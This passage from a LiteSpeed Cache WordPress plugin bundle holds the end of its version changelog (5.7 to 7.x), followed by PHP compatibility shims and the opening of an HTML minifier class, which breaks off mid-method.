* **Crawler** Dropped non-WebP/AVIF crawler if Next Gen Images are being used.
* 🐞**Config** Fixed an .htaccess generation bug that occurred when reactivating after previous deactivation. (PR#825)
* **GUI** Improved the QC registration notice banner for online services thanks to user feedback.
* **GUI** QUIC.cloud management links will be opened in a single dedicated new window to prevent multiple sessions.
* **Page Optimization** Enhanced URL fetch validation to avoid exposing possible local info.
* **Debug** Added a Click to copy logs button under `Log View` tab.
* **CLI** Removed a vary warning log in CLI for QC activation process with a customized login cookie.
* **CLI** Removed a log failure in CLI in QC activation process when no existing admin message.
* **Misc** Check version only after upgrade to reduce the requests.
* **Misc** Switched to CyberPanel.sh to detect public IP for dash tool.

= 7.0.1 - Apr 8 2025 =
* **Page Optimize** Migrate legacy data to append trailing slash for better compatibility with v7.0-optimized UCSS/CCSS data.

= 7.0.0.1 - Mar 27 2025 =
* **GUI** Resolved a banner message display error in certain old version cases.
* **GUI** Fixed a continual error banner when site doesn't use QC.
* **Config** Fixed a continual CDN sync_conf/purge check issue after upgraded to v7.0.
* **3rd** Improved WPML multi lang sync_conf compatibility.

= 7.0 - Mar 25 2025 =
* 🌱**Image Optimization** Added AVIF format.
* **Core** Changed plugin classes auto load to preload all to prevent upgrade problems.
* **Core** Refactored configuration data initialization method to realtime update instead of delayed update in plugin upgrade phase.
* **Core** Used `const.default.json` instead of `const.default.ini` for better compatibility in case `parse_ini_file()` is disabled.
* **Core** Minimum required PHP version escalated to PHP v7.2.0.
* **Core** Minimum required WP version escalated to WP v5.3.
* **Cloud** Dropped `Domain Key`. Now using sodium encryption for authentication and validation.
* **Cloud** Added support for `list_preferred` in online service node detection.
* **Cloud** Fixed a domain expiry removal PHP warning. (cheekymate06)
* **Cloud** Auto dropped Cloud error message banner when successfully reconnected.
* **Cloud** Simplified the configure sync parameters to only compare and post the necessary settings.
* **Config** Simplified QUIC.cloud CDN Setup. CDN service is now automatically detected when activated in the QUIC.cloud Dashboard.
* **Config** Dropped the initial version check when comparing md5 to decide if whether to sync the configuration when upgrading the plugin.
* **Config** `LITESPEED_DISABLE_ALL` will now check the value to determine whether it's been applied.
* **Database Optimize** Fixed Autoload summary for WP6.6+. (Mukesh Panchal/Viktor Szépe)
* **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online cdn_init --ssl-cert=xxx.pem --ssl-key=xxx -method=cname|ns|cfi`.
* **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online link --email=xxx@example.com --api-key=xxxx`.
* **CLI** Added QUIC.cloud CDN CLI command: `wp litespeed-online cdn_status`.
* **CLI** Added `--force` argument for QUIC.cloud CLI command `wp litespeed-online ping`.
* **Image Optimization** Dropped `Auto Pull Cron` setting. Added PHP const `LITESPEED_IMG_OPTM_PULL_CRON` support.
* **Image Optimization** Added Soft Reset Counter button to allow restarting image optimization without destroying previously optimized images.
* **Image Optimization** Added support for `LITESPEED_IMG_OPTM_PULL_THREADS` to adjust the threads to avoid PHP max connection limits.
* **Image Optimization** Added support for the latest firefox WebP Accept header change for serving WebP.
* **Image Optimization** Allowed PHP Constant `LITESPEED_FORCE_WP_REMOTE_GET` to force using `wp_remote_get()` to pull images.
* **Image Optimization** Dropped API filter `litespeed_img_optm_options_per_image`.
* **Image Optimization** Auto redirect nodes if the server environment is switched between Preview and Production.
* **Purge** Allowed `LSWCP_EMPTYCACHE` to be defined as false to disable the ability to Purge all sites.
* **Purge** Each purge action now has a hook.
* **Purge** Fixed `PURGESINGLE` and `PURGE` query string purge tag bug.
* **Purge** `PURGE` will purge the single URL only like `PURGESINGLE`.
* **ESI** Fixed a log logic failure when ESI buffer is empty.
* **ESI** Added Elementor nonces (jujube0ajluxl PR#736)
* **ESI** Fixed a no-cache issue in no-vary ESI requests that occurred when `Login Cookie` was set.
* **ESI** ESI will no longer send cookie update headers.
* **Vary** Vary name correction, which used to happen in the `after_setup_theme` hook, now happens later in the `init` hook.
* **Crawler** Enhanced hash generation function for cryptographic security.
* **Crawler** Added back `Role Simulator` w/ IP limited to `127.0.0.1` only. Use `LITESPEED_CRAWLER_LOCAL_PORT` to use 80 if original server does not support 443.
* **Crawler** Enhanced Role Simulator security by disallowing editor or above access in settings.
* **Crawler** Defaulted and limited crawler `Run Duration` maximum to 900 seconds and dropped the setting.
* **Crawler** Crawler will be stopped when load limit setting is 0.
* **Crawler** Dropped `Delay` setting. Added PHP const `LITESPEED_CRAWLER_USLEEP` support.
* **Crawler** Dropped `Timeout` setting. Added PHP const `LITESPEED_CRAWLER_TIMEOUT` support.
* **Crawler** Dropped `Threads` setting. Added PHP const `LITESPEED_CRAWLER_THREADS` support.
* **Crawler** Dropped `Interval Between Runs` setting. Added PHP const `LITESPEED_CRAWLER_RUN_INTERVAL` support.
* **Crawler** Dropped `Sitemap Timeout` setting. Added PHP const `LITESPEED_CRAWLER_MAP_TIMEOUT` support.
* **Crawler** Dropped `Drop Domain from Sitemap` setting. Added PHP const `LITESPEED_CRAWLER_DROP_DOMAIN` support.
* **Crawler** Fixed wrong path of .pid file under wp-admin folder in certain case. (igobybus)
* **Crawler** Show an empty map error and disabled crawler when the map is not set yet.
* **Page Optimize** Updated request link parser to follow the site permalink. (Mijnheer Eetpraat #766)
* **Page Optimize** Updated latest CSS/JS optimization library to fix issues for RGB minification and external imports when combining CSS.
* **Page Optimize** Exclude Google Analytics from JavaScript optimization. (James M. Joyce #269 PR#726)
* **Page Optimize** Fixed typo in `LITESPEED_NO_OPTM` constant definition. (Roy Orbitson PR#796)
* **CDN** Fixed CDN replacement for inline CSS url with round brackets case. (agodbu)
* **GUI** Added an Online Service tab under General menu.
* **GUI** Added a QUIC.cloud CDN tab.
* **GUI** Combined all Crawler settings to a single setting tab.
* **GUI** Switch buttons rtl compatibility. (Eliza/Mehrshad Darzi #603)
* **GUI** Fixed an issue where an irremovable banner couldn't be echoed directly.
* **GUI** Limited page speed chart to cacheable servers only.
* **Tag** Fixed a potential warning in tags. (ikiterder)
* **Tag** Appended AJAX action to cache tags.
* **Tag** Dropped normal HTTP code. Only error codes (403/404/500) will be used for tags.
* **Misc** Fixed fatal activation error on Network installation when no other plugins are active. (PR#808 #9496550)
* **Misc** Improved README file by adding minimum supported PHP/WordPress versions. (Viktor Szépe)
* **Misc** Added reliance on just-in-time translation loading. (Pascal Birchler #738)
* **Misc** Will now check whether the filename is valid before saving a file to fix the possible Object Cache log issue. (Mahdi Akrami #761)
* **Misc** Fixed PHP 7.2 compatibility in cloud message. (Viktor Szépe #771)
* **Misc** Incompatibility warning banner for third party plugins is now dismissible.
* **Misc** Generated robots.txt file under litespeed folder to discourage search engine indexing of static resource files. (djwilko12)
* **Debug** Escalated debug initialization to as early as possible to allow more configuration information to be logged.
* **3rd** Fixed warning in Buddy Press code integration. (Viktor Szépe/antipole PR#778)

= 6.5.4 - Dec 16 2024 =
* **Page Optimize** Fixed Google Fonts broken with the Async option. (HivePress #787)

= 6.5.3 - Dec 4 2024 =
* **Misc** Quote escaped in attributes when building HTML. (CVE-2024-51915)

= 6.5.2 - Oct 17 2024 =
* **Crawler** Removed barely used Role Simulator from Crawler, to prevent potential security issues.
* **Misc** Removed `mt_srand` function in random hash generation to slightly improve the hash result.

= 6.5.1 - Sep 25 2024 =
* **Security** This release includes two security updates to enhance the post validation of the editor (CVE-2024-47373), and to secure the GUI queue display from malicious vary input (CVE-2024-47374).
* **Media** Sanitized dimensions for the images when replacing with placeholders. (TaiYou)
* **Page Optimize** Sanitized vary value in queue list. (TaiYou)
* **Cloud** Silent API error when failing to retrieve news updates.

= 6.5.0.2 - Sep 6 2024 =
* **Debug** Compatibility improvement for WP installations w/o `AUTH_KEY` defined in `wp-config.php`.

= 6.5.0.1 - Sep 4 2024 =
* 🔥**Debug** Fixed a corner case fatal error when Object Cache is ON but failed to connect, and `wp-content/litespeed` directory is not writable, and debug option is ON.

= 6.5 - Sep 4 2024 =
*❗**Security** This release includes several debug log improvements for improved security, as listed below. Update strongly recommended.
* **Debug** Moved debug log to litespeed individual folder `/wp-content/litespeed/debug/`.
* **Debug** Disallowed visits to `/litespeed/debug/` folder log files in .htaccess.
* **Debug** Dropped const `LSCWP_DEBUG_PATH` support.
* **Debug** Renamed `debug.purge.log` to `purge.log`.
* **Debug** Added dummy `index.php` for debug folder.
* **Debug** Used random string for log filenames.
* **Debug** Removed cookies-related info. (Thanks to Rafie)
* **Debug** Dropped `Log Cookies` option.
* **Report** Escaped report content to protect it from potential XSS attack. (Islam R alsaid #505746)
* **ESI** Added nonce for Advanced Custom Fields + Advanced Forms. (David Lapointe Gilbert #439)
* **Purge** Run ACTION_PURGE_EMPTYCACHE even if cache is disabled in network admin. (Philip #453)
* **Page Optimize** Disable UCSS exclusion when UCSS is inactived. (#640)
* **3rd** Fixed undefined warning in WooCommerce Widgets. (Lolosan #719)
* **3rd** Correct the integration with User Switching. (John Blackbourn #725)
* **3rd** Fixed Admin Bar Missing issue on DIVI + Elementor frontend. (thyran/robertstaddon PR#727)

= 6.4.1 - Aug 19 2024 =
* ❗**Security** This release patches a security issue that may affect previous LSCWP versions since v1.9.
* 🐞**Page Optimize** Fixed HTML minification returning blank page issue. (#706)
* 🐞**CDN** Fixed a bug when Cloudflare status option is empty. (#684 #992174)
* **Core** Minimum required WP version escalated to WP v4.9.

= 6.4 - Aug 13 2024 =
* **Cache** Corrected QC and LSADC cache hit status.
* **Cloud** Allow partner info removal in QUIC.cloud notification.
* **Crawler** Separated CSS preparation validation from crawler validation.
* **GUI** Moved `WordPress Image Quality Control` setting from `Image Optimization` menu to `Page Optimization` menu.
* **3rd** Add Elementor Edit button back in ESI. (PR#635)
* **3rd** Fixed Instant click potential conflict w/ other plugins.

= 6.3.0.1 - Jul 29 2024 =
* 🔥🐞**Rest** Disabled WP default Editor cache for REST requests to fix editor errors. (Shivam)
* **Cache** Supported `cache_nocacheable.txt` predefined settings.

= 6.3 - Jul 22 2024 =
* 🌱**Page Optimize** HTML Keep Comments: When minifying HTML do not discard comments that match a specified pattern. (#328853)
* 🌱**Cache** Cache POST requests. Now can configure POST/GET AJAX requests to be cached. (#647300)
* **Cache** Bypass admin initialization when doing ajax call. (Tim)
* **Cache** Better control over the cache location #541 (Gal Baras/Tanvir Israq)
* **Cloud** Added nonce for callback validation to enhance security. (Chloe@Wordfence)
* **Cloud** Fixed an error message for daily quota.
* **Cloud** Display error message when communicating with QUIC.cloud causes a token error.
* **ESI** Bypass ESI at an earlier stage when getting `DONOTCACHEPAGE`.
* **ESI** Added ESI nonce for Events Calendar and jetMenu mobile hamburger menu. (#306983 #163710 PR#419)
* **ESI** Added WP Data Access nonce (PR#665)
* **ESI** Added WP User Frontend ESI nonce (PR#675)
* **Media** Ignored images from JS in image size detection (PR#660)
* **GUI** Moved Preset menu from network level to site level for multisite networks.
* **GUI** Suppressed sitemap generation message if not triggered manually.
* **GUI** Added CloudFlare purge to front end menu.
* **GUI** Allowed customized partner CDN login link on dash.
* **Page Optimize** Cleaned up litespeed_url table when clearing url files. (PR#664)
* **Page Optimize** Updated Instant Click library to version 5.2.0.
* **Page Optimize** Added Flatsome theme random string excludes. (PR#415)
* **Page Optimize** Exclude Cloudflare turnstile from JS optimizations. (Tobolo)
* **Page Optimize** Fixed Cloudflare Turnstile issues. (Contributolo PR#671/672)
* **Object** Improved debug log for object cache status. (PR#669)
* **Object** Added brief parseable header comments to the drop-in file. (OllieJones)
* **Debug** Trimmed debug log.
* **Misc** Improved compatibility and sped up resolving for JSON functions `json_encode/json_decode`. (hosni/szepeviktor #693)
* **Misc** Fixed typos in params and comments. (szepeviktor #688)
* **Image Optimization** Fixed an issue which suppressed new requests when there were no new images in the library but there were unprocessed images in the send queue.
* **Image Optimization** Improved Cloud side quota check by disallowing new requests if notified but not pulled.
* **Image Optimization** Keep image attributes when replacing dimensions. (PR#686 #381779)

= 6.2.0.1 - Apr 25 2024 =
* 🔥🐞**Page Optimize** Fixed the image display issue that occurs with Elementor's `data-settings` attribute when the WebP image is not yet ready. (kanten/cbwwebmaster/reedock #132840 #680939 #326525)

= 6.2 - Apr 23 2024 =
* 🌱**Crawler** Added Crawler hit/miss filter. (#328853)
* 🌱**CLI** Image optimization now supports `wp litespeed-image batch_switch orig/optm`. (A2Hosting)
* 🌱**VPI** Auto preload VPI images. (Ankit)
* **Object** Added support for username/password authentication for Redis (PR#616 Donatas Abraitis/hostinger)
* **Page Optimize** Now supporting Elementors data-settings WebP replacement. (Thanks to Ryan D)
* **Cache** Send `Cache-Control: no-cache, no-store, must-revalidate, max-age=0` when page is not cacheable. (asafm7/Ruikai)
* **Cache** Cache control will respect `X-Http-Method-Override` now. (George)
* **Cache** No cache for `X-Http-Method-Override: HEAD`. (George)
* **Cache** Specified LSCWP in adv-cache compatible file.
* **Cache** Fixed redirection loop if query string has tailing ampersand (#389629)
* **Cache** Dropped "Cache Favicon.ico" option as it is redundant with 404 cache. (Lauren)
* **Cache** Fixed deprecated PHP v8 warning in page redirection. (Issue#617 dcx15)
* **Cloud** REST callback used ACL for QC ips validation.
* **Cloud** Fixed a typo in parsing cloud msg which prevented error messages to show.
* **Cloud** Carried on PHP ver for better version detection purpose.
* **Cloud** Escaped token to show correctly in report.
* **Cloud** Fixed a QC cloud ip verification setup failure in PHP 5.3.
* 🐞**Cloud** Fixed a continual new version detection.
* 🐞**Image Optimize** Fixed a summary counter mismatch for finished images. (A2Hosting)
* **CDN** Auto CDN setup compatibility with WP versions less than 5.3.
* 🐞**CDN** Fixed wrong replacement of non image files in image replacement. (Lucas)
* **GUI** Further filtered admin banner messages to prevent from existing danger code in database.
* **REST** Fixed a potential PHP warning in REST check when param is empty. (metikar)

= 6.1 - Feb 1 2024 =
* 🌱**Database** New Clear Orphaned Post Meta optimizer function.
* **Image Optimize** Fixed possible PHP warning for WP requests library response.
* **Image Optimize** Unlocked `noabort` to all async tasks to avoid image optimization timeout. (Peter Wells)
* **Image Optimize** Fixed an issue where images weren't being pulled with older versions of WordPress. (PR#608)
* **Image Optimize** Improved exception handling when node server cert expire.
* 🐞**Image Optimize** The failed to pull images due to 404 expiry will now be able to send the request again.
* **Crawler** CLI will now be able to force crawling even if a crawl was recently initiated within the plugin GUI.
* **Page Optimize** Fixed a dynamic property creation warning in PHP8. (PR#606)
* **Page Optimize** Fixed an issue where getimagesize could cause page optimization to fail. (PR#607)
* **Tag** Fixed an array to string conversion warning. (PR#604)
* **Object Cache** Return false to prevent PHP warning when Redis fails to set a value. (PR#612)
* **Cache Tag** Fixed an issue where $wp_query is null when getting cache tags. (PR#589)

= 6.0.0.1 - Dec 15 2023 =
* 🐞**Image Optimize** Grouped the taken notification to regional center servers to reduce the load after image pulled.

= 6.0 - Dec 12 2023 =
* 🌱**Image Optimize** Parallel pull. (⭐ Contributed by Peter Wells #581)
* 🌱**Cache** CLI Crawler.
* 🌱**Cache** New Vary Cookies option.
* 🌱**Media** New Preload Featured Image option. (Ankit)
* **Core** Codebase safety review. (Special thanks to Rafie Muhammad @ Patchstack)
* **Purge** Purge will not show QC message if no queue is cleared.
* **Purge** Fixed a potential warning when post type is not as expected. (victorzink)
* **Conf** Server IP field may now be emptied. (#111647)
* **Conf** CloudFlare CDN setting vulnerability patch. (Gulshan Kumar #541805)
* **Crawler** Suppressed sitemap generation msg when running by cron.
* **Crawler** PHP v8.2 Dynamic property creation warning fix. (oldrup #586)
* **VPI** VPI can now support non-alphabet filenames.
* **VPI** Fixed PHP8.2 deprecated warning. (Ryan D)
* **ESI** Fixed ESI nonce showing only HTML comment issue. (Giorgos K.)
* 🐞**Page Optimize** Fixed a fatal PHP error caused by the WHM plugin's Mass Enable for services not in use. (Michael)
* 🐞**Network** Fix in-memory options for multisites. (Tynan #588)
* **Network** Correct `Disable All Features` link for Multisite.
* 🐞**Image Optimize** Removing original image will also remove optimized images.
* **Image Optimize** Increased time limit for pull process.
* **Image Optimize** Last pull time and cron tag now included in optimization summary.
* **Image Optimize** Fixed Elementors Slideshow unusual background images. (Ryan D)
* 🐞**Database Optimize** Fix an issue where cleaning post revisions would fail while cleaning postmeta. (Tynan #596)
* **Crawler** Added status updates to CLI. (Lars)
* **3rd** WPML product category purge for WooCommerce. (Tynan #577)

= 5.7.0.1 - Oct 25 2023 =
* **GUI** Improvements to admin banner messaging. (#694622)
* **CDN** Improvements to CDN Setup. (#694622)
* **Image Optimize** Improvements to the process of checking image identification. (#694622)

= 5.7 - Oct 10 2023 =
* 🌱**Page Optimize** New option available: Preconnect. (xguiboy/Mukesh Patel)
* 🌱**3rd** New Vary for Mini Cart option for WooCommerce. (Ruikai)
* **Cloud** Force syncing the configuration to QUIC.cloud if CDN is reenabled.
* **Cloud** Force syncing the configuration to QUIC.cloud if domain key is readded.
* **Cloud** Limit multi-line fields when posting to QC.
* **Cache** Treat HEAD requests as cacheable as GET. (George Wang)
* 🐞**ESI** Patched a possible vulnerability issue. (István Márton@Wordfence #841011)
* 🐞**ESI** Overwrite SCRIPT_URI to prevent ESI sub request resulting in redirections. (Tobolo)
* 🐞**Image Optimize** Bypass unnecessary image processing when images were only partially optimized. (Ruikai)
* 🐞**Guest** Guest mode will not enable WebP directly anymore. (Michael Heymann)
* **CDN** Auto disable CDN if CDN URL is invalid. (Ruikai)
* **CDN** Fixed a null parameter warning for PHP v8.1 (#584)
* **API** Added `litespeed_media_add_missing_sizes` filter to allow bypassing Media's "add missing sizes" option (for Guest Optimization and otherwise). (PR #564)
* **Guest** Fixed soft 404 and robots.txt report for guest.vary.php.
* **Vary** Enabled `litespeed_vary_cookies` for LSWS Enterprise.
* **GUI** Stopped WebP tip from wrongly displaying when Guest Mode is off.
* **GUI** Added QUIC.cloud promotion postbox on dashboard page.
* **3rd** Added `pagespeed ninja` to blocklist due to its bad behavior.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/php-compatibility.func.php000064400000012563151031165260022145 0ustar00<?php
// phpcs:ignoreFile
/**
 * LiteSpeed PHP compatibility functions for lower PHP version
 *
 * @since      1.1.3
 * @package    LiteSpeed
 * @subpackage LiteSpeed_Cache/lib
 */

defined( 'WPINC' ) || exit;


/**
 * http_build_url() compatibility
 */
if ( ! function_exists( 'http_build_url' ) ) {
	if ( ! defined( 'HTTP_URL_REPLACE' ) ) {
		define( 'HTTP_URL_REPLACE', 1 );              // Replace every part of the first URL when there's one of the second URL
	}
	if ( ! defined( 'HTTP_URL_JOIN_PATH' ) ) {
		define( 'HTTP_URL_JOIN_PATH', 2 );            // Join relative paths
	}
	if ( ! defined( 'HTTP_URL_JOIN_QUERY' ) ) {
		define( 'HTTP_URL_JOIN_QUERY', 4 );           // Join query strings
	}
	if ( ! defined( 'HTTP_URL_STRIP_USER' ) ) {
		define( 'HTTP_URL_STRIP_USER', 8 );           // Strip any user authentication information
	}
	if ( ! defined( 'HTTP_URL_STRIP_PASS' ) ) {
		define( 'HTTP_URL_STRIP_PASS', 16 );          // Strip any password authentication information
	}
	if ( ! defined( 'HTTP_URL_STRIP_AUTH' ) ) {
		define( 'HTTP_URL_STRIP_AUTH', 32 );          // Strip any authentication information
	}
	if ( ! defined( 'HTTP_URL_STRIP_PORT' ) ) {
		define( 'HTTP_URL_STRIP_PORT', 64 );          // Strip explicit port numbers
	}
	if ( ! defined( 'HTTP_URL_STRIP_PATH' ) ) {
		define( 'HTTP_URL_STRIP_PATH', 128 );         // Strip complete path
	}
	if ( ! defined( 'HTTP_URL_STRIP_QUERY' ) ) {
		define( 'HTTP_URL_STRIP_QUERY', 256 );        // Strip query string
	}
	if ( ! defined( 'HTTP_URL_STRIP_FRAGMENT' ) ) {
		define( 'HTTP_URL_STRIP_FRAGMENT', 512 );     // Strip any fragments (#identifier)
	}
	if ( ! defined( 'HTTP_URL_STRIP_ALL' ) ) {
		define( 'HTTP_URL_STRIP_ALL', 1024 );         // Strip anything but scheme and host
	}

	// Build an URL
	// The parts of the second URL will be merged into the first according to the flags argument.
	//
	// @param   mixed           (Part(s) of) an URL in form of a string or associative array like parse_url() returns
	// @param   mixed           Same as the first argument
	// @param   int             A bitmask of binary or'ed HTTP_URL constants (Optional)HTTP_URL_REPLACE is the default
	// @param   array           If set, it will be filled with the parts of the composed url like parse_url() would return
	function http_build_url( $url, $parts = array(), $flags = HTTP_URL_REPLACE, &$new_url = false ) {
		$keys = array( 'user', 'pass', 'port', 'path', 'query', 'fragment' );

		// HTTP_URL_STRIP_ALL becomes all the HTTP_URL_STRIP_Xs
		if ( $flags & HTTP_URL_STRIP_ALL ) {
			$flags |= HTTP_URL_STRIP_USER;
			$flags |= HTTP_URL_STRIP_PASS;
			$flags |= HTTP_URL_STRIP_PORT;
			$flags |= HTTP_URL_STRIP_PATH;
			$flags |= HTTP_URL_STRIP_QUERY;
			$flags |= HTTP_URL_STRIP_FRAGMENT;
		}
		// HTTP_URL_STRIP_AUTH becomes HTTP_URL_STRIP_USER and HTTP_URL_STRIP_PASS
		elseif ( $flags & HTTP_URL_STRIP_AUTH ) {
			$flags |= HTTP_URL_STRIP_USER;
			$flags |= HTTP_URL_STRIP_PASS;
		}

		// Parse the original URL
		// - Suggestion by Sayed Ahad Abbas
		// In case you send a parse_url array as input
		$parse_url = ! is_array( $url ) ? parse_url( $url ) : $url;

		// Scheme and Host are always replaced
		if ( isset( $parts['scheme'] ) ) {
			$parse_url['scheme'] = $parts['scheme'];
		}
		if ( isset( $parts['host'] ) ) {
			$parse_url['host'] = $parts['host'];
		}

		// (If applicable) Replace the original URL with it's new parts
		if ( $flags & HTTP_URL_REPLACE ) {
			foreach ( $keys as $key ) {
				if ( isset( $parts[ $key ] ) ) {
					$parse_url[ $key ] = $parts[ $key ];
				}
			}
		} else {
			// Join the original URL path with the new path
			if ( isset( $parts['path'] ) && ( $flags & HTTP_URL_JOIN_PATH ) ) {
				if ( isset( $parse_url['path'] ) ) {
					$parse_url['path'] = rtrim( str_replace( basename( $parse_url['path'] ), '', $parse_url['path'] ), '/' ) . '/' . ltrim( $parts['path'], '/' );
				} else {
					$parse_url['path'] = $parts['path'];
				}
			}

			// Join the original query string with the new query string
			if ( isset( $parts['query'] ) && ( $flags & HTTP_URL_JOIN_QUERY ) ) {
				if ( isset( $parse_url['query'] ) ) {
					$parse_url['query'] .= '&' . $parts['query'];
				} else {
					$parse_url['query'] = $parts['query'];
				}
			}
		}

		// Strips all the applicable sections of the URL
		// Note: Scheme and Host are never stripped
		foreach ( $keys as $key ) {
			if ( $flags & (int) constant( 'HTTP_URL_STRIP_' . strtoupper( $key ) ) ) {
				unset( $parse_url[ $key ] );
			}
		}

		$new_url = $parse_url;

		return ( isset( $parse_url['scheme'] ) ? $parse_url['scheme'] . '://' : '' )
			. ( isset( $parse_url['user'] ) ? $parse_url['user'] . ( isset( $parse_url['pass'] ) ? ':' . $parse_url['pass'] : '' ) . '@' : '' )
			. ( isset( $parse_url['host'] ) ? $parse_url['host'] : '' )
			. ( isset( $parse_url['port'] ) ? ':' . $parse_url['port'] : '' )
			. ( isset( $parse_url['path'] ) ? $parse_url['path'] : '' )
			. ( isset( $parse_url['query'] ) ? '?' . $parse_url['query'] : '' )
			. ( isset( $parse_url['fragment'] ) ? '#' . $parse_url['fragment'] : '' );
	}
}


if ( ! function_exists( 'array_key_first' ) ) {
	function array_key_first( array $arr ) {
		foreach ( $arr as $k => $unused ) {
			return $k;
		}
		return null;
	}
}

if ( ! function_exists( 'array_column' ) ) {
	function array_column( $array, $column_name ) {
		return array_map(
			function ( $element ) use ( $column_name ) {
				return $element[ $column_name ];
			},
			$array
		);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/html-min.cls.php000064400000017744151031165260020070 0ustar00<?php
// phpcs:ignoreFile
/**
 * Compress HTML
 *
 * This is a heavy regex-based removal of whitespace, unnecessary comments and
 * tokens. IE conditional comments are preserved. There are also options to have
 * STYLE and SCRIPT blocks compressed by callback functions.
 *
 * A test suite is available.
 *
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 */
namespace LiteSpeed\Lib;

defined( 'WPINC' ) || exit;

class HTML_MIN {

	/**
	 * @var string
	 */
	protected $_html = '';

	/**
	 * @var boolean
	 */
	protected $_jsCleanComments = true;
	protected $_skipComments    = array();

	/**
	 * "Minify" an HTML page
	 *
	 * @param string $html
	 *
	 * @param array  $options
	 *
	 * 'cssMinifier' : (optional) callback function to process content of STYLE
	 * elements.
	 *
	 * 'jsMinifier' : (optional) callback function to process content of SCRIPT
	 * elements. Note: the type attribute is ignored.
	 *
	 * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If
	 * unset, minify will sniff for an XHTML doctype.
	 *
	 * @return string
	 */
	public static function minify( $html, $options = array() ) {
		$min = new self( $html, $options );

		return $min->process();
	}

	/**
	 * Create a minifier object
	 *
	 * @param string $html
	 *
	 * @param array  $options
	 *
	 * 'cssMinifier' : (optional) callback function to process content of STYLE
	 * elements.
	 *
	 * 'jsMinifier' : (optional) callback function to process content of SCRIPT
	 * elements. Note: the type attribute is ignored.
	 *
	 * 'jsCleanComments' : (optional) whether to remove HTML comments beginning and end of script block
	 *
	 * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If
	 * unset, minify will sniff for an XHTML doctype.
	 */
	public function __construct( $html, $options = array() ) {
		$this->_html = str_replace( "\r\n", "\n", trim( $html ) );
		if ( isset( $options['xhtml'] ) ) {
			$this->_isXhtml = (bool) $options['xhtml'];
		}
		if ( isset( $options['cssMinifier'] ) ) {
			$this->_cssMinifier = $options['cssMinifier'];
		}
		if ( isset( $options['jsMinifier'] ) ) {
			$this->_jsMinifier = $options['jsMinifier'];
		}
		if ( isset( $options['jsCleanComments'] ) ) {
			$this->_jsCleanComments = (bool) $options['jsCleanComments'];
		}
		if ( isset( $options['skipComments'] ) ) {
			$this->_skipComments = $options['skipComments'];
		}
	}

	/**
	 * Minify the markeup given in the constructor
	 *
	 * @return string
	 */
	public function process() {
		if ( $this->_isXhtml === null ) {
			$this->_isXhtml = ( false !== strpos( $this->_html, '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML' ) );
		}

		$this->_replacementHash = 'MINIFYHTML' . md5( $_SERVER['REQUEST_TIME'] );
		$this->_placeholders    = array();

		// replace SCRIPTs (and minify) with placeholders
		$this->_html = preg_replace_callback(
			'/(\\s*)<script(\\b[^>]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i',
			array( $this, '_removeScriptCB' ),
			$this->_html
		);

		// replace STYLEs (and minify) with placeholders
		$this->_html = preg_replace_callback(
			'/\\s*<style(\\b[^>]*>)([\\s\\S]*?)<\\/style>\\s*/i',
			array( $this, '_removeStyleCB' ),
			$this->_html
		);

		// remove HTML comments (not containing IE conditional comments).
		$this->_html = preg_replace_callback(
			'/<!--([\\s\\S]*?)-->/',
			array( $this, '_commentCB' ),
			$this->_html
		);

		// replace PREs with placeholders
		$this->_html = preg_replace_callback(
			'/\\s*<pre(\\b[^>]*?>[\\s\\S]*?<\\/pre>)\\s*/i',
			array( $this, '_removePreCB' ),
			$this->_html
		);

		// replace TEXTAREAs with placeholders
		$this->_html = preg_replace_callback(
			'/\\s*<textarea(\\b[^>]*?>[\\s\\S]*?<\\/textarea>)\\s*/i',
			array( $this, '_removeTextareaCB' ),
			$this->_html
		);

		// trim each line.
		// @todo take into account attribute values that span multiple lines.
		$this->_html = preg_replace( '/^\\s+|\\s+$/m', '', $this->_html );

		// remove ws around block/undisplayed elements
		$this->_html = preg_replace(
			'/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body'
			. '|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form'
			. '|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav'
			. '|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)'
			. '|ul|video)\\b[^>]*>)/i',
			'$1',
			$this->_html
		);

		// remove ws outside of all elements
		$this->_html = preg_replace(
			'/>(\\s(?:\\s*))?([^<]+)(\\s(?:\s*))?</',
			'>$1$2$3<',
			$this->_html
		);

		// use newlines before 1st attribute in open tags (to limit line lengths)
		// $this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html);

		// fill placeholders
		$this->_html = str_replace(
			array_keys( $this->_placeholders ),
			array_values( $this->_placeholders ),
			$this->_html
		);
		// issue 229: multi-pass to catch scripts that didn't get replaced in textareas
		$this->_html = str_replace(
			array_keys( $this->_placeholders ),
			array_values( $this->_placeholders ),
			$this->_html
		);

		return $this->_html;
	}

	/**
	 * From LSCWP 6.2: Changed the function to test for special comments that will be skipped. See: https://github.com/litespeedtech/lscache_wp/pull/622
	 */
	protected function _commentCB( $m ) {
		// If is IE conditional comment return it.
		if ( 0 === strpos( $m[1], '[' ) || false !== strpos( $m[1], '<![' ) ) {
			return $m[0];
		}

		// Check if comment text is present in Page Optimization -> HTML Settings -> HTML Keep comments
		if ( count( $this->_skipComments ) > 0 ) {
			foreach ( $this->_skipComments as $comment ) {
				if ( $comment && strpos( $m[1], $comment ) !== false ) {
					return $m[0];
				}
			}
		}

		// Comment can be removed.
		return '';
	}

	protected function _reservePlace( $content ) {
		$placeholder                         = '%' . $this->_replacementHash . count( $this->_placeholders ) . '%';
		$this->_placeholders[ $placeholder ] = $content;

		return $placeholder;
	}

	protected $_isXhtml         = null;
	protected $_replacementHash = null;
	protected $_placeholders    = array();
	protected $_cssMinifier     = null;
	protected $_jsMinifier      = null;

	protected function _removePreCB( $m ) {
		return $this->_reservePlace( "<pre{$m[1]}" );
	}

	protected function _removeTextareaCB( $m ) {
		return $this->_reservePlace( "<textarea{$m[1]}" );
	}

	protected function _removeStyleCB( $m ) {
		$openStyle = "<style{$m[1]}";
		$css       = $m[2];
